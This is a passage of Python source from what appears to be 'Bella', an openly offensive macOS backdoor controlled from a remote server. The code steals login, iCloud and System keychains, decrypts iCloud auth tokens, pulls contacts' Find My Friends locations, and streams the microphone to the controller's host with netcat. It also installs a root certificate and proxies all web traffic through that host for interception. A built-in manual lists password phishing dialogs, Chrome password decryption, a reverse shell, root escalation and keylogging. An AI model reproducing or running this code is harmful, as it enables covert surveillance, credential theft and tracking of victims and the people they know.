  661.     return model
  662.  
  663. def heard_it_from_a_friend_who(uDsid, mmeAuthToken, cardData):
  664.     mmeFMFAppToken = tokenFactory(base64.b64encode("%s:%s" % (uDsid, mmeAuthToken)))[0][2]
  665.     url = 'https://p04-fmfmobile.icloud.com/fmipservice/friends/%s/refreshClient' % uDsid
  666.     headers = {
  667.         'Authorization': 'Basic %s' % base64.b64encode("%s:%s" % (uDsid, mmeFMFAppToken)),#FMF APP TOKEN
  668.         'Content-Type': 'application/json; charset=utf-8',
  669.     }
  670.     data = {
  671.         "clientContext": {
  672.             "appVersion": "5.0" #critical for getting appropriate config / time apparently.
  673.         }
  674.     }
  675.     jsonData = json.dumps(data)
  676.     send_msg('%sRequesting FMF data.\n' % blue_star, False)
  677.     request = urllib2.Request(url, jsonData, headers)
  678.     i = 0
  679.     while 1:
  680.         try:
  681.             response = urllib2.urlopen(request)
  682.             break
  683.         except: #for some reason this exception needs to be caught a bunch of times before the request is made.
  684.             i +=1
  685.             continue
  686.     x = json.loads(response.read())
  687.     send_msg('%sGot FMF Data.\n' % yellow_star, False)
  688.     dsidList = []
  689.     phoneList = [] #need to find how to get corresponding name from CalDav
  690.     for y in x["following"]: #we need to get contact information.
  691.         for z, v in y.items():
  692.             #do some cleanup
  693.             if z == "invitationAcceptedHandles":
  694.                 v = v[0] #v is a list of contact information, we will grab just the first identifier
  695.                 phoneList.append(v)
  696.             if z == "id":
  697.                 v = v.replace("~", "=")
  698.                 v = base64.b64decode(v)
  699.                 dsidList.append(v)
  700.     zippedList = zip(dsidList, phoneList)
  701.     retString = ""
  702.     i = 0
  703.     try:
  704.         locations = x["locations"]
  705.     except KeyError:
  706.         send_msg('%sCould not find locations. Try again.\n' % red_minus, False)
  707.         return
  708.     for y in locations:
  709.         streetAddress, country, state, town, timeStamp = " " *5
  710.         dsid = y["id"].replace("~", "=")
  711.         dsid = base64.b64decode(dsid) #decode the base64 id, and find its corresponding one in the zippedList.
  712.         for g in zippedList:
  713.             if g[0] == dsid:
  714.                 phoneNumber = g[1] #we should get this for every person. no errors if no phone number found.
  715.                 for x in cardData:
  716.                     for nums in x[1]:
  717.                         if phoneNumber.replace("+1", "") in nums:
  718.                             phoneNumber += " (%s)" % x[0][0]
  719.                     for emails in x[2]:
  720.                         if phoneNumber in emails:
  721.                             phoneNumber += " (%s)" % x[0][0]
  722.         try:
  723.             timeStamp = y["location"]["timestamp"] / 1000
  724.             timeNow = time.time()
  725.             timeDelta = timeNow - timeStamp #time difference in seconds
  726.             minutes, seconds = divmod(timeDelta, 60) #great function, saves annoying maths
  727.             hours, minutes = divmod(minutes, 60)
  728.             timeStamp = datetime.datetime.fromtimestamp(timeStamp).strftime("%A, %B %d at %I:%M:%S")
  729.             timeStamp = "%s (%sm %ss ago)" % (timeStamp, str(minutes).split(".")[0], str(seconds).split(".")[0]) #split at decimal
  730.         except TypeError:
  731.             timeStamp = "Could not get last location time."
  732.  
  733.         if not y["location"]: #once satisfied, all is good, return fxn will end
  734.             continue #go back to top of loop and re-run query
  735.        
  736.         for z, v in y["location"]["address"].items(): #loop through address info
  737.             #counter of threes for pretty print...
  738.             if type(v) is list:
  739.                 continue
  740.             if z == "streetAddress":
  741.                 streetAddress = v
  742.             if z == "countryCode":
  743.                 country = v
  744.             if z == "stateCode":
  745.                 state = v
  746.             if z == "locality":
  747.                 town = v
  748.  
  749.         if streetAddress != " ": #in the event that we cant get a street address, dont print it to the final thing
  750.             send_msg("%s\n%s\n%s, %s, %s\n%s\n%s\n" % ("\033[34m" + phoneNumber, "\033[92m" + streetAddress, town, state, country, "\033[0m" + timeStamp,"-----"), False)
  751.         else:
  752.             send_msg("%s\n%s, %s, %s\n%s\n%s\n" % ("\033[34m" + phoneNumber, "\033[92m" + town, state, country, "\033[0m" + timeStamp,"-----"), False)
  753.  
  754.         i += 1
  755.     localToken = tokenRead()
  756.     if tokenRead() != False:
  757.         uDsid = tokenRead().split("\n")[0]
  758.     send_msg("\033[91mFound \033[93m[%s]\033[91m friends for %s!\033[0m\n" % (i, uDsid), False)
  759.     return
  760.  
  761. def iCloud_auth_process(tokenOverride):
  762.     #this function will return a username and password combination, or a DSID and token combination, along with a code for which one is being used.
  763.     returnString = ""
  764.     token = ""
  765.     usingToken = False
  766.     localToken = tokenRead()
  767.  
  768.     applePresent = applepwRead()
  769.  
  770.     if isinstance(applePresent, str) and tokenOverride == False:
  771.         (username, password) = applepwRead().split(":") #just take the first account if there are multiple
  772.         usingToken = False
  773.  
  774.     elif localToken != False: #means we have a token file.
  775.             try:
  776.                 (username, password) = localToken.split("\n")[1].split(":")
  777.                 usingToken = True
  778.             except Exception, e:
  779.                 return (e, False, usingToken)
  780.     else: #means we have neither a token file, or apple creds
  781.         return ("No token found, no apple credentials found.\n", False, usingToken)
  782.    
  783.     return (username, password, usingToken)
  784.  
  785. def iCloud_storage_helper(dsid, authToken):
  786.     authCode = base64.b64encode("%s:%s" % (dsid, authToken))
  787.     tokens = tokenFactory(authCode)
  788.     send_msg('Getting iCloud information.\n', False)
  789.     try:
  790.         req = urllib2.Request("https://p04-quota.icloud.com/quotaservice/external/mac/%s/storageUsageDetails" % dsid) #this will have all tokens
  791.         req.add_header('Authorization', 'Basic %s' % authCode)
  792.         req.add_header('Content-Type', 'application/json')
  793.         resp = urllib2.urlopen(req)
  794.         storageData = resp.read()
  795.     except Exception as e:
  796.         send_msg("Slight error [%s]" % e, False)
  797.     resp_dict = json.loads(storageData)
  798.  
  799.     for x in tokens[1]: #tokens[1] is the account information of the user
  800.         send_msg("%s\n\n" % x, False)
  801.  
  802.     try:
  803.         for x in resp_dict["photo"]:
  804.             if x["libraryEnabled"]:
  805.                 send_msg(underline + "iCloud Photo Library: Enabled" + endANSI + "\n", False)
  806.                 send_msg("\tPhoto Count: %s\n" % x["photoCount"], False)
  807.                 send_msg("\tVideo Count: %s\n" % x["videoCount"], False)
  808.                 send_msg("\tiCloud Photo Library Size: %s.%s GB\n" % (str(x["storageUsedInBytes"])[0], str(x["storageUsedInBytes"])[1:4]), False)
  809.             else:
  810.                 send_msg(underline + "iCloud Photo Library: Disabled" + endANSI + "\n", False)
  811.     except:
  812.         send_msg("iCloud Photo Library: Disabled\n", False)
  813.  
  814.     i = 0
  815.     try:
  816.         z = resp_dict["backups"]
  817.         if len(z) == 0:
  818.             send_msg("\n%sNo iCloud Backups found%s\n\n" % (underline, endANSI), False)
  819.         else:
  820.             send_msg("%siCloud Backups:%s\n" % (underline, endANSI), False)
  821.             for x in resp_dict["backups"]:
  822.                 i += 1
  823.                 #make a little dictionary to get the pretty name of the device.
  824.                 productTypes = {'iPhone3,1': 'iPhone 4 (GSM)', 'iPhone3,2': 'iPhone 4 (CDMA)', 'iPhone4,1': 'iPhone 4s', 'iPhone5,1': 'iPhone 5 (GSM)', 'iPhone5,2': 'iPhone 5 (CDMA)', 'iPhone5,3': 'iPhone 5c', 'iPhone6,2': 'iPhone 5s (UK)', 'iPhone7,1': 'iPhone 6 Plus', 'iPhone8,1': 'iPhone 6s', 'iPhone8,2': 'iPhone 6s Plus', 'iPhone6,1': 'iPhone 5s', 'iPhone7,2': 'iPhone 6'}
  825.                 try:
  826.                     iPhone_type = productTypes[x["productType"]]
  827.                 except:
  828.                     iPhone_type = x["productType"]
  829.                 send_msg("\t[%s] %s %s | Size is %s.%s GB | Model: %s\n" % (i, x["name"], x["lastModifiedLocalized"], str(x["storageUsedInBytes"])[0], str(x["storageUsedInBytes"])[1:4], iPhone_type), False)
  830.     except Exception, e:
  831.         send_msg("Error checking backups.\n%s\n" % str(e), False)
  832.  
  833.     if len(tokens[0]) > 1:
  834.         send_msg("%sTokens!%s\n" % (underline, endANSI), False)
  835.         send_msg("\tMMeAuth: %s%s%s\n" % (blue, tokens[0][0], endANSI), False)
  836.         send_msg("\tCloud Kit: %s%s%s\n" % (red, tokens[0][1], endANSI), False)
  837.         send_msg("\tFMF App: %s%s%s\n" % (yellow, tokens[0][2], endANSI), False)
  838.         send_msg("\tFMiP: %s%s%s\n" % (green, tokens[0][3], endANSI), False)
  839.         send_msg("\tFMF: %s%s%s\n" % (violet, tokens[0][4], endANSI), False)
  840.     send_msg('', True)
  841.     return
  842.  
  843. def insomnia_load():
  844.     if "book" in get_model().lower():
  845.         if is_there_SUID_shell():
  846.             gen = payload_generator(readDB('insomnia', True)) #will return b64 zip
  847.             payload_tmp_path = '/'.join(gen.split('/')[:-1])
  848.             do_root('unzip %s -d %s' % (gen, payload_tmp_path))
  849.             (success, msg) = do_root("chown -R 0:0 %s/Insomnia.kext/" % payload_tmp_path)
  850.             if not success:
  851.                 return "%sError changing kext ownership to root.\n%s" % (red_minus, msg)
  852.             (success, msg) = do_root("kextload %s/Insomnia.kext/" % payload_tmp_path)
  853.             if not success:
  854.                 return "%sError loading kext.\n%s" % (red_minus, msg)
  855.             return "%sInsomnia successfully loaded.\n" % greenPlus
  856.         return "%sYou need a root shell to load Insomnia.\n" % red_minus
  857.     else:
  858.         return "%sInsomnia does not work on non-MacBooks.\n" % blue_star
  859.  
  860. def insomnia_unload():
  861.     if "book" in get_model() or "Book" in get_model():
  862.         if is_there_SUID_shell():
  863.             (success, msg) = do_root("kextunload -b net.semaja2.kext.insomnia")
  864.             if not success:
  865.                 return "%sError unloading kext.\n%s" % (red_minus, msg)
  866.             return "%sInsomnia successfully unloaded.\n" % greenPlus
  867.         return "%sYou need a root shell to load Insomnia.\n" % red_minus
  868.     else:
  869.         return "%sInsomnia does not work on non-MacBooks.\n" % blue_star
  870.  
  871. def resetUIDandName(): #if we are root we want to update the variable accordingly
  872.     global bella_user, helper_location, bella_UID
  873.     if os.getuid() == 0:
  874.         bella_user = cur_GUI_user()
  875.         bella_UID = pwd.getpwnam(bella_user).pw_uid
  876.         helper_location = '/'.join(os.path.abspath(__file__).split('/')[:-1]) + '/'
  877.     return
  878.  
  879. def initialize_socket():
  880.     basicInfo = ''
  881.     resetUIDandName()
  882.     os.chdir(os.path.expanduser('~'))
  883.  
  884.     if not check_if_payloads():
  885.         print 'requesting payloads'
  886.         return 'payload_request_SBJ129' #request our payloads
  887.    
  888.     if readDB('lastLogin') == False: #if it hasnt been set
  889.         updateDB('Never', 'lastLogin')
  890.  
  891.     if not isinstance(get_model(), str): #if no model, put it in
  892.         output = check_output("sysctl hw.model")
  893.         if output[0]:
  894.             modelRaw = output[1].split(":")[1].replace("\n", "").replace(" ", "")
  895.         output = check_output("/usr/libexec/PlistBuddy -c 'Print :\"%s\"' /System/Library/PrivateFrameworks/ServerInformation.framework/Versions/A/Resources/English.lproj/SIMachineAttributes.plist | grep marketingModel" % modelRaw)
  896.         if not output[0]:
  897.             model = 'Macintosh'
  898.         else:
  899.             model = output[1].split("=")[1][1:] #get everything after equal sign, and then remove first space.
  900.         updateDB(model, 'model')
  901.  
  902.     if os.getuid() == 0:
  903.         basicInfo = 'ROOTED\n'
  904.  
  905.     client_name = readDB('client_name')
  906.  
  907.     if client_name == False:
  908.         output = check_output('scutil --get LocalHostName; echo %s; pwd; echo %s' % (get_bella_user(), readDB('lastLogin')))
  909.     else:
  910.         output = check_output('echo "%s"; echo "%s"; pwd; echo "%s"' % (client_name, get_bella_user(), readDB('lastLogin')))
  911.  
  912.     if output[0]:
  913.         basicInfo += output[1]
  914.     else:
  915.         return check_output("echo 'bareNeccesities'; scutil --get LocalHostName; whoami; pwd")[1]
  916.    
  917.     output = check_output('ps -p %s -o etime=' % bellaPID)
  918.     if output[0]:
  919.         basicInfo += output[1]
  920.     else:
  921.         return check_output("echo 'bareNeccesities'; scutil --get LocalHostName; whoami; pwd")[1]
  922.  
  923.     updateDB(time.strftime("%a, %b %e %Y at %I:%M:%S %p"), 'lastLogin')
  924.     return basicInfo
  925.  
  926. def iTunes_backup_looker():
  927.     backupPath = globber("/Users/*/Library/Application Support/MobileSync/Backup/*/Info.plist")
  928.     if len(backupPath) > 0:
  929.         backups = True
  930.         returnable = "%sLooking for backups! %s\n" % (blue_star, blue_star)
  931.         for z, y in enumerate(backupPath):
  932.             returnable += "\n----- Device " + str(z + 1) + " -----\n\n"
  933.             returnable += "Product Name: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Product Name\"' '%s'" % y).read().replace("\n", "")
  934.             returnable += "Product Version: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Product Version\"' '%s'" % y).read().replace("\n", "")
  935.             returnable += "Last Backup Date: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Last Backup Date\"' '%s'" % y).read().replace("\n", "")
  936.             returnable += "Device Name: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Device Name\"' '%s'" % y).read().replace("\n", "")
  937.             returnable += "Phone Number: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Phone Number\"' '%s'" % y).read().replace("\n", "")
  938.             returnable += "Serial Number: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Serial Number\"' '%s'" % y).read().replace("\n", "")
  939.             returnable += "IMEI/MEID: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"IMEI\"' '%s'" % y).read().replace("\n", "")
  940.             returnable += "UDID: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Target Identifier\"' '%s'" % y).read().replace("\n", "")
  941.             returnable += "iTunes Version: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"iTunes Version\"' '%s'" % y).read().replace("\n", "")
  942.             #iTunesBackupString += "Installed Apps: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Installed Applications\"' '%s'" % y).read().replace("\n", "")
  943.     else:
  944.         backups = False
  945.         returnable = "%sNo local backups found %s\n" % (blue_star, blue_star)
  946.     return (returnable, backups, len(backupPath))
  947.  
  948. def kill_pid(pid):
  949.     try:
  950.         os.kill(pid, 9)
  951.         return True
  952.     except OSError, e:
  953.         return False
  954.  
  955. def keychain_download():
  956.     try:
  957.         serial = []
  958.         for x in globber("/Users/*/Library/Keychains/login.keychain*"):
  959.             #with open(x, 'rb') as content:
  960.             content = protected_file_reader(x) #will return us permission acceptable file info
  961.             user = x.split("/")[2]
  962.             serial.append(pickle.dumps(['%s_login.keychain' % user, content]))
  963.  
  964.         for iCloudKey in globber("/Users/*/Library/Keychains/*/keychain-2.db"):
  965.             iCloudZip = StringIO.StringIO()
  966.             joiner = '/'.join(iCloudKey.split("/")[:-1])
  967.             for files in protected_file_lister(joiner):
  968.                 with zipfile.ZipFile(iCloudZip, mode='a', compression=zipfile.ZIP_DEFLATED) as zipped:
  969.                     subFile = os.path.join(joiner, files)
  970.                     content = protected_file_reader(subFile)
  971.                     zipped.writestr(files, content)
  972.             with zipfile.ZipFile(iCloudZip, mode='a', compression=zipfile.ZIP_DEFLATED) as zipped:
  973.                 zipped.writestr(joiner.split("/")[-1], 'Keychain UUID')          
  974.             serial.append(pickle.dumps(["%s_iCloudKeychain.zip" % iCloudKey.split("/")[2], iCloudZip.getvalue()]))
  975.         if is_there_SUID_shell():
  976.             keys = protected_file_reader("/Library/Keychains/System.keychain")
  977.             serial.append(pickle.dumps(["System.keychain", keys]))
  978.         return 'keychain_download' + pickle.dumps(serial)
  979.     except Exception, e:
  980.         return (red_minus + "Error reading keychains.\n%s\n") % str(e)
  981.  
  982. def manual():
  983.     value = "\n%sChat History%s\nDownload the user's macOS iMessage database.\nUsage: %schat_history%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
  984.     value += "\n%sCheck Backups%s\nEnumerate the user's local iOS backups.\nUsage: %scheck_backups%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
  985.     value += "\n%sChrome Dump%s\nDecrypt user passwords stored in Google Chrome profiles.\nUsage: %schrome_dump%s\nRequirements: Chrome SS Key [see chrome_safe_storage]\n" % (underline + bold + green, endANSI, bold, endANSI)
  986.     value += "\n%sChrome Safe Storage%s\nPrompt the keychain to present the user's Chrome Safe Storage Key.\nUsage: %schrome_safe_storage%s\nRequirements: None\n" % (underline + bold + green, endANSI, bold, endANSI)
  987.     value += "\n%sCurrent Users%s\nFind all currently logged in users.\nUsage: %scurrent_Users%s\nRequirements: None\n" % (underline + bold + yellow, endANSI, bold, endANSI)
  988.     value += "\n%sGet Root%s\nAttempt to escalate Bella to root through a variety of attack vectors.\nUsage: %sget_root%s\nRequirements: None\n" % (underline + bold + red, endANSI, bold, endANSI)
  989.     value += "\n%sFind my iPhone%s\nLocate all devices on the user's iCloud account.\nUsage: %siCloud_FMIP%s\nRequirements: iCloud Password [see iCloud_phish]\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
  990.     value += "\n%sFind my Friends%s\nLocate all shared devices on the user's iCloud account.\nUsage: %siCloud_FMF%s\nRequirements: iCloud Token or iCloud Password\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
  991.     value += "\n%siCloud Contacts%s\nGet contacts from the user's iCloud account.\nUsage: %siCloud_contacts%s\nRequirements: iCloud Token or iCloud Password\n" % (underline + bold + light_blue, endANSI, bold, endANSI)  
  992.     value += "\n%siCloud Password Phish%s\nTrick user into verifying their iCloud password through iTunes prompt.\nUsage: %siCloud_phish%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
  993.     value += "\n%siCloud Query%s\nGet information about the user's iCloud account.\nUsage: %siCloud_query%s\nRequirements: iCloud Token or iCloud Password\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
  994.     value += "\n%siCloud Token%s\nPrompt the keychain to present the User's iCloud Authorization Token.\nUsage: %siCloud_token%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
  995.     value += "\n%sInsomnia Load%s\nLoads an InsomniaX Kext to prevent laptop from sleeping, even when closed.\nUsage: %sinsomnia_load%s\nRequirements: root, laptops only\n" % (underline + bold + yellow, endANSI, bold, endANSI)
  996.     value += "\n%sInsomnia Unload%s\nUnloads an InsomniaX Kext loaded through insomnia_load.\nUsage: %sinsomnia_unload%s\nRequirements: root, laptops only\n" % (underline + bold + yellow, endANSI, bold, endANSI)
  997.     value += "\n%sInteractive Shell%s\nLoads an interactive reverse shell (bash) to the remote machine. This allows us to run commands such as telnet, nano, sudo, etc.\nUsage: %sinteractive_shell%s\n" % (underline + bold, endANSI, bold, endANSI)
  998.     value += "\n%sBella Info%s\nExtensively details information about the user and information from the Bella instance.\nUsage: %sbella_info%s\nRequirements: None\n" % (underline + bold + yellow, endANSI, bold, endANSI)
  999.     value += "\n%sKeychain Download%s\nDownloads all available Keychains, including iCloud, for offline processing.\nUsage: %skeychain_download%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
  1000.     value += "\n%sMike Stream%s\nStreams the microphone input over a socket.\nUsage: %smike_stream%s\nRequirements: None\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
  1001.     value += "\n%sMITM Start%s\nInjects a Root CA into the System Roots Keychain and redirects all traffic to the CC.\nUsage: %smitm_start%s\nRequirements: root.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
  1002.     value += "\n%sMITM Kill%s\nEnds a MITM session started by MITM start.\nUsage: %smitm_kill%s\nRequirements: root.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
  1003.     value += "\n%sReboot Server%s\nRestarts a Bella instance.\nUsage: %sreboot_server%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
  1004.     value += "\n%sRemove Server%s\nCompletely removes a Bella server remotely.\nUsage: %sremoveserver_yes%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
  1005.     value += "\n%sSafari History%s\nDownloads user's Safari history in a nice format.\nUsage: %ssafari_history%s\nRequirements: None.\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
  1006.     value += "\n%sScreenshot%s\nTake a screen shot of the current active desktop.\nUsage: %sscreen_shot%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
  1007.     value += "\n%sSet Client Name%s\nChange the computer name that is displayed in the Control Center.\nUsage: %sset_client_name%s\nRequirements: None.\n" % (underline + bold + light_blue, endANSI, bold, endANSI)
  1008.     value += "\n%sShutdown Server%s\nUnloads Bella from launchctl until next reboot.\nUsage: %sshutdown_server%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
  1009.     value += "\n%sSystem Information%s\nReturns basic information about the system.\nUsage: %ssysinfo%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
  1010.     value += "\n%sUser Pass Phish%s\nWill phish the user for their password with a clever dialog.\nUsage: %suser_pass_phish%s\nRequirements: None.\n" % (underline + bold + yellow, endANSI, bold, endANSI)
  1011.     #value += "\n%sKey Start%s\nBegin keylogging in the background.\nUsage: %skeyStart%s (requires root)\n" % (underline + bold, endANSI, bold, endANSI)
  1012.     #value += "\n%sKey Kill%s\nStop keylogging started through Key Start\nUsage: %skeyStart%s (requires root)\n" % (underline + bold, endANSI, bold, endANSI)
  1013.     #value += "\n%sKey Read%s\nReads the encrypted key log file from Key Start.\nUsage: %skeyRead%s (requires root)\n" % (underline + bold, endANSI, bold, endANSI)
  1014.     return value
  1015.  
  1016. def mike_helper(payload_path):
  1017.     stream_port = 2897
  1018.     send_msg('%sOpening microphone.\n' % blue_star, False)
  1019.     pipe = subprocess.Popen('%s' % payload_path, stdout=subprocess.PIPE)
  1020.     subprocess_manager(pipe.pid, '/'.join(payload_path.split('/')[:-1]), 'Microphone') #keep track of mikepipe since it never closes, as well as payload path
  1021.     send_msg('%sOpened microphone [%s].\n' % (blue_star, pipe.pid), False)
  1022.     send_msg('%sOpening Stream.\n' % blue_star, False)
  1023.     stream = subprocess.Popen(('nc %s %s' % (host, stream_port)).split(), stdin=pipe.stdout, stdout=subprocess.PIPE)
  1024.     time.sleep(2) #give a few seconds to terminate if not running ...
  1025.     #stream.poll will be the exit code if it has exited, otherwise it will be None (so, None if we are connected)
  1026.     if stream.poll(): #if None, we are connected, see Else. If an integer, we have crashed.
  1027.         send_msg('%sListener could not be reached. Closing microphone.\n' % red_minus, False)
  1028.         if kill_pid(pipe.pid):
  1029.             send_msg('%sClosed microphone.\n' % blue_star, True)
  1030.         else:
  1031.             send_msg('%sError closing microphone with PID [%s].\n' % (red_minus, pipe.pid), True)
  1032.     else:
  1033.         send_msg('%sListener connected, microphone streaming.\n' % greenPlus, True)
  1034.     return 0
  1035.  
  1036. def mitm_kill(interface, certsha1):
  1037.     if not is_there_SUID_shell():
  1038.         return "%sYou must have a root shell to stop MITM. See get_root.\n" % red_minus
  1039.  
  1040.     x = check_output("networksetup -getsecurewebproxy %s" % interface)
  1041.     if not x[0]:
  1042.         if x[2] == 8:
  1043.             send_msg("%sThe interface [%s] does not exist." % (red_minus, interface), True)
  1044.         send_msg(x[1], True)
  1045.     if "Enabled: No" in x[1]:
  1046.         send_msg("%s\033[4mAlready disabled!\033[0m %s\n%s" % (yellow_star, yellow_star, x[1]), True)
  1047.         return
  1048.  
  1049.     cert = cert_remove(certsha1)
  1050.     if 'Error' in cert:
  1051.         send_msg('ERROR REMOVING CERTIFICATE FROM KEYCHAIN. YOU SHOULD PERFORM MANUALLY.\n', False)
  1052.     send_msg(cert, False)
  1053.  
  1054.     (success, msg) = do_root("networksetup -setwebproxy %s '' 0" % interface)
  1055.     if not success:
  1056.         send_msg("%sSetting [%s] HTTP proxy to null failed!\n" % (red_minus, interface), False)
  1057.     else:
  1058.         send_msg("%sSet [%s] HTTP proxy to null.\n" % (greenPlus, interface), False)
  1059.  
  1060.     (success, msg) = do_root("networksetup -setsecurewebproxy %s '' 0" % interface)
  1061.     if not success:
  1062.         send_msg("%sSetting [%s] HTTPS proxy to null failed!\n" % (red_minus, interface), False)
  1063.     else:
  1064.         send_msg("%sSet [%s] HTTPS proxy to null.\n" % (greenPlus, interface), False)
  1065.    
  1066.     (success, msg) = do_root("networksetup -setwebproxystate %s off" % interface)
  1067.     if not success:
  1068.         send_msg("%sFailed to turn off [%s] HTTP proxy!\n" % (red_minus, interface), False)
  1069.     else:
  1070.         send_msg("%sTurned off [%s] HTTP proxy.\n" % (greenPlus, interface), False)
  1071.  
  1072.     (success, msg) = do_root("networksetup -setsecurewebproxystate %s off" % interface)
  1073.     if not success:
  1074.         send_msg("%sFailed to turn off [%s] HTTP proxy!\n" % (red_minus, interface), False)
  1075.     else:
  1076.         send_msg("%sTurned off [%s] HTTP proxy.\n" % (greenPlus, interface), False)
  1077.    
  1078.     send_msg('', True)
  1079.     return 1
  1080.  
  1081. def mitm_start(interface, cert):
  1082.     if not is_there_SUID_shell():
  1083.         send_msg("%sYou must have a root shell to start MITM. See get_root.\n" % red_minus, True)
  1084.         return
  1085.  
  1086.     x = check_output("networksetup -getsecurewebproxy %s" % interface)
  1087.     if not x[0]:
  1088.         if x[2] == 8:
  1089.             send_msg("%sThe interface [%s] does not exist." % (red_minus, interface), True)
  1090.         send_msg(x[1], True)
  1091.     if "Enabled: Yes" in x[1]:
  1092.         send_msg("%s\033[4mAlready enabled!\033[0m %s\n%s" % (yellow_star, yellow_star, x[1]), True)
  1093.         send_msg('', True)
  1094.         return
  1095.  
  1096.     cert = cert_inject(cert)
  1097.     if 'Error' in cert:
  1098.         send_msg(cert, True)
  1099.         send_msg('', True)
  1100.         return
  1101.     send_msg(cert, False)
  1102.  
  1103.     (success, msg) = do_root("networksetup -setwebproxy %s %s 8081" % (interface, host))
  1104.     if not success:
  1105.         send_msg("%sRedirecting [%s] HTTP (80) to [%s:8081] failed!\n" % (red_minus, interface, host), True)
  1106.     send_msg("%sRedirecting [%s] HTTP (80) to [%s:8081].\n" % (greenPlus, interface, host), False)
  1107.  
  1108.     (success, msg) = do_root("networksetup -setsecurewebproxy %s %s 8081" % (interface, host))
  1109.     if not success:
  1110.         send_msg("%sRedirecting [%s] HTTPS (443) to [%s:8081] failed!\n" % (red_minus, interface, host), True)
  1111.     send_msg("%sRedirecting [%s] HTTP (443) to [%s:8081].\n" % (greenPlus, interface, host), False)
  1112.     send_msg("mitmReady", True)
  1113.     return
  1114.  
  1115. def payload_generator(data):
  1116.     dirpath = tempfile.mkdtemp()
  1117.     with open("%s/americangirl" % dirpath, "wb") as content:
  1118.         content.write(data.decode('base64'))
  1119.     os.chmod("%s/americangirl" % dirpath, 0777) #set rw execute bits to 7 for ugw
  1120.     temp_file_list.append(dirpath)
  1121.     return '%s/americangirl' % dirpath
  1122.  
  1123. def payload_cleaner():
  1124.     for x in temp_file_list:
  1125.         try:
  1126.             shutil.rmtree(x)
  1127.             #print 'Removed %s' % x
  1128.             temp_file_list.remove(x)
  1129.         except OSError as e:
  1130.             pass
  1131.             print e
  1132.     return
  1133.  
  1134. def chainbreaker(kcpath, key, service, password=None):
  1135.     kcbreaker = readDB('chainbreaker', True)
  1136.     if not kcbreaker:
  1137.         return ("%sError reading chainbreaker from DB.\n" % red_minus, False)
  1138.     path = payload_generator(kcbreaker)
  1139.     try:
  1140.         if password:
  1141.             value = (subprocess.check_output("%s -f '%s' -p '%s' -s '%s'" % (path, kcpath, password, service), shell=True).replace('\n', ''), True)
  1142.         else:
  1143.             value = (subprocess.check_output("%s -f '%s' -k '%s' -s '%s'" % (path, kcpath, key, service), shell=True).replace('\n', ''), True)
  1144.         if '[!] ERROR: ' in value[0]:
  1145.             return ("%sError decrypting %s with master key.\n\t%s" % (red_minus, service, value[0]), False)
  1146.         print repr(value[0])
  1147.         if value[0] == '':
  1148.             return ("No KC entry for %s." % service, False)
  1149.  
  1150.         return value
  1151.     except Exception as e:
  1152.         return ("%sError decrypting %s with master key.\n\t%s" % (red_minus, service, e), False)
  1153.  
  1154. def kciCloudHelper(iCloudKey):
  1155.     #this function is tailored to keychaindump. Takes an iCloud key, and returns tokens
  1156.     msg = base64.b64decode(iCloudKey)
  1157.     key = "t9s\"lx^awe.580Gj%'ld+0LG<#9xa?>vb)-fkwb92[}"
  1158.     hashed = hmac.new(key, msg, digestmod=hashlib.md5).digest()
  1159.     hexedKey = binascii.hexlify(hashed)
  1160.     IV = 16 * '0'
  1161.     mme_token_file = glob("/Users/%s/Library/Application Support/iCloud/Accounts/*" % get_bella_user()) #this doesnt need to be globber bc only current user's info can be decrypted
  1162.     for x in mme_token_file:
  1163.         try:
  1164.             int(x.split("/")[-1])
  1165.             mme_token_file = x
  1166.         except ValueError:
  1167.             continue
  1168.     send_msg("\t%sDecrypting token plist\n\t    [%s]\n" % (blue_star, mme_token_file), False)
  1169.     decryptedBinary = subprocess.check_output("openssl enc -d -aes-128-cbc -iv '%s' -K %s < '%s'" % (IV, hexedKey, mme_token_file), shell=True)
  1170.     from Foundation import NSData, NSPropertyListSerialization
  1171.     binToPlist = NSData.dataWithBytes_length_(decryptedBinary, len(decryptedBinary))
  1172.     token_plist = NSPropertyListSerialization.propertyListWithData_options_format_error_(binToPlist, 0, None, None)[0]
  1173.     tokz = "[%s | %s]\n" % (token_plist["appleAccountInfo"]["primaryEmail"], token_plist["appleAccountInfo"]["fullName"])
  1174.     tokz += "%s:%s\n" % (token_plist["appleAccountInfo"]["dsPrsID"], token_plist["tokens"]["mmeAuthToken"])
  1175.     return tokz
  1176.  
  1177. def getKeychains():
  1178.     #will return the last modified keychain
  1179.     send_msg("%sFound the following keychains for [%s]:\n" % (yellow_star, get_bella_user()), False)
  1180.     kchains = glob("/Users/%s/Library/Keychains/login.keychain*" % get_bella_user())
  1181.     for x in kchains:
  1182.         send_msg("\t[%s]\n" % x, False)
  1183.     if len(kchains) == 0:
  1184.         send_msg("%sNo Keychains found for [%s].\n" % (yellow_star, get_bella_user()), True)
  1185.         return
  1186.     kchains.sort(key=os.path.getmtime)
  1187.     kchain = kchains[-1] #get the last modified one
